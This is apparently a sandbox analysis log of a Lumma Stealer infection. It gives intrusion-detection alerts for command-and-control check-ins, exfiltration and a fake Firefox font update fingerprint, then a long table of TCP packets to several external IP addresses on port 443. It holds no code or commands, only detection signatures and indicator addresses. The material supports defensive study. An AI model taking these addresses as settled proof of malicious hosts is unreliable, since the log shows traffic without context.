2025-01-05T18:25:38.305272+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	188.114.96.3	443	TCP
2025-01-05T18:25:38.770047+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49738	188.114.96.3	443	TCP
2025-01-05T18:25:38.770047+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49738	188.114.96.3	443	TCP
2025-01-05T18:25:39.457857+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	188.114.96.3	443	TCP
2025-01-05T18:25:40.699033+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	188.114.96.3	443	TCP
2025-01-05T18:25:41.943255+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	188.114.96.3	443	TCP
2025-01-05T18:25:43.279278+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	188.114.96.3	443	TCP
2025-01-05T18:25:44.240121+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	188.114.96.3	443	TCP
2025-01-05T18:25:44.797729+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49743	188.114.96.3	443	TCP
2025-01-05T18:25:45.266974+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	188.114.96.3	443	TCP
2025-01-05T18:25:45.702319+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	188.114.96.3	443	TCP
2025-01-05T18:25:46.578941+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	185.161.251.21	443	TCP
2025-01-05T18:25:47.359959+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49746	104.21.37.128	443	TCP
2025-01-05T18:25:47.722959+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	104.21.37.128	443	192.168.2.4	49746	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 18:25:36.892030001 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:36.892069101 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:36.892194986 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:36.894810915 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:36.894823074 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.364250898 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.364322901 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.369194031 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.369209051 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.369414091 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.412014008 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.417248011 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.417292118 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.417320967 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.841600895 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.841694117 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.841792107 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.843513966 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.843529940 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.843542099 CET	49737	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.843547106 CET	443	49737	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.849004030 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.849044085 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:37.849114895 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.849445105 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:37.849459887 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.305195093 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.305272102 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.306601048 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.306607962 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.306802988 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.307971954 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.307993889 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.308032990 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770051003 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770123959 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770155907 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770195007 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770301104 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.770301104 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.770315886 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770842075 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770874977 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770884037 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.770889997 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770937920 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.770939112 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770950079 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.770994902 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.774749041 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.818295956 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.818303108 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.856698990 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.856769085 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.856775045 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.856826067 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.856868029 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.856873035 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.856894016 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.856945038 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.857094049 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.857103109 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.857114077 CET	49738	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.857117891 CET	443	49738	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.988826990 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.988864899 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:38.988961935 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.989269972 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:38.989283085 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:39.457763910 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:39.457856894 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:39.459306955 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:39.459319115 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:39.459525108 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:39.460639954 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:39.460783005 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:39.460812092 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:39.460872889 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:39.460880995 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:40.133023977 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:40.133121967 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:40.133178949 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:40.133368015 CET	49739	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:40.133383036 CET	443	49739	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:40.207662106 CET	49740	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:40.207703114 CET	443	49740	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:40.207779884 CET	49740	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:40.208175898 CET	49740	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:40.208189011 CET	443	49740	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:40.698858976 CET	443	49740	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:40.699033022 CET	49740	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:40.700181961 CET	49740	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:40.700191021 CET	443	49740	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:40.700412989 CET	443	49740	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:40.701514006 CET	49740	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:40.701628923 CET	49740	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:40.701663017 CET	443	49740	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.266926050 CET	443	49740	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.267041922 CET	443	49740	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.267112017 CET	49740	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.267210007 CET	49740	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.267226934 CET	443	49740	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.450872898 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.450908899 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.450989962 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.451332092 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.451344967 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.943181992 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.943254948 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.944808960 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.944818020 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.945014000 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.946564913 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.946804047 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.946846008 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:41.946908951 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:41.946917057 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:42.521133900 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:42.521222115 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:42.521311045 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:42.521600008 CET	49741	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:42.521615982 CET	443	49741	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:42.789963007 CET	49742	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:42.790002108 CET	443	49742	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:42.790072918 CET	49742	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:42.790390015 CET	49742	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:42.790402889 CET	443	49742	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:43.279174089 CET	443	49742	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:43.279278040 CET	49742	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:43.280585051 CET	49742	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:43.280591011 CET	443	49742	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:43.280791998 CET	443	49742	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:43.281923056 CET	49742	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:43.282012939 CET	49742	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:43.282018900 CET	443	49742	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:43.734729052 CET	443	49742	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:43.734803915 CET	443	49742	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:43.734854937 CET	49742	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:43.735049963 CET	49742	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:43.735064983 CET	443	49742	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:43.782516956 CET	49743	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:43.782550097 CET	443	49743	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:43.782639980 CET	49743	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:43.782922983 CET	49743	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:43.782937050 CET	443	49743	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:44.240046978 CET	443	49743	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:44.240120888 CET	49743	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:44.241390944 CET	49743	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:44.241400003 CET	443	49743	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:44.241647959 CET	443	49743	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:44.242897034 CET	49743	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:44.242993116 CET	49743	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:44.242997885 CET	443	49743	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:44.797513008 CET	443	49743	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:44.797599077 CET	443	49743	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:44.797646999 CET	49743	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:44.798146963 CET	49743	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:44.798182011 CET	443	49743	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:44.800765038 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:44.800800085 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:44.800862074 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:44.801537991 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:44.801551104 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:45.266885996 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:45.266973972 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:45.268310070 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:45.268316031 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:45.268537045 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:45.269784927 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:45.269800901 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:45.269849062 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:45.702342987 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:45.702440023 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:45.702490091 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:45.702672958 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:45.702687979 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:45.702698946 CET	49744	443	192.168.2.4	188.114.96.3
Jan 5, 2025 18:25:45.702703953 CET	443	49744	188.114.96.3	192.168.2.4
Jan 5, 2025 18:25:45.820967913 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 18:25:45.820996046 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:45.821161985 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 18:25:45.821527958 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 18:25:45.821540117 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:46.578864098 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:46.578941107 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 18:25:46.580538034 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 18:25:46.580554962 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:46.580769062 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:46.581866980 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 18:25:46.627331972 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:46.848731041 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:46.848776102 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:46.848855972 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 18:25:46.849098921 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 18:25:46.849117994 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:46.849129915 CET	49745	443	192.168.2.4	185.161.251.21
Jan 5, 2025 18:25:46.849133968 CET	443	49745	185.161.251.21	192.168.2.4
Jan 5, 2025 18:25:46.889158964 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:46.889174938 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:46.889240980 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:46.889811039 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:46.889822006 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.359870911 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.359958887 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.361427069 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.361432076 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.361648083 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.362961054 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.403327942 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.633452892 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.633501053 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.633522034 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.633549929 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.633563995 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.633574009 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.633589983 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.633598089 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.633626938 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.633641005 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.633651018 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.633687973 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.633696079 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.634219885 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.634265900 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.634274960 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.677589893 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.677598953 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.719808102 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.719866991 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.719876051 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.720000982 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.720031023 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.720045090 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.720052004 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.720088959 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.720094919 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.720973015 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.721020937 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.721023083 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.721031904 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.721075058 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.721081018 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.721116066 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.721155882 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.721158028 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.721173048 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.721211910 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.721220016 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.721995115 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.722031116 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.722045898 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.722058058 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.722090006 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.722104073 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.722112894 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.722142935 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.722898960 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.722965956 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.723005056 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.723009109 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.723020077 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.723062038 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.723067999 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.771326065 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.771332979 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.806723118 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.806761980 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.806775093 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.806783915 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.806828976 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.806834936 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.806879044 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.806886911 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.806930065 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.806936979 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.807014942 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.807054043 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.807060003 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.807070017 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.807092905 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.807099104 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.807111025 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.807132006 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.807137966 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.807152987 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.807157040 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.807199955 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.807205915 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.807238102 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.807995081 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.808034897 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.808049917 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.808089018 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.808090925 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.808099031 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.808126926 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.808139086 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.808188915 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.808196068 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.808232069 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.808927059 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.808965921 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.808974028 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.808979034 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.809010029 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.809016943 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.809024096 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.809052944 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.809062958 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.809103012 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.809108019 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.809144974 CET	49746	443	192.168.2.4	104.21.37.128
Jan 5, 2025 18:25:47.852463007 CET	443	49746	104.21.37.128	192.168.2.4
Jan 5, 2025 18:25:47.852520943 CET	49746	443	192.168.2.4	104.21.37.128
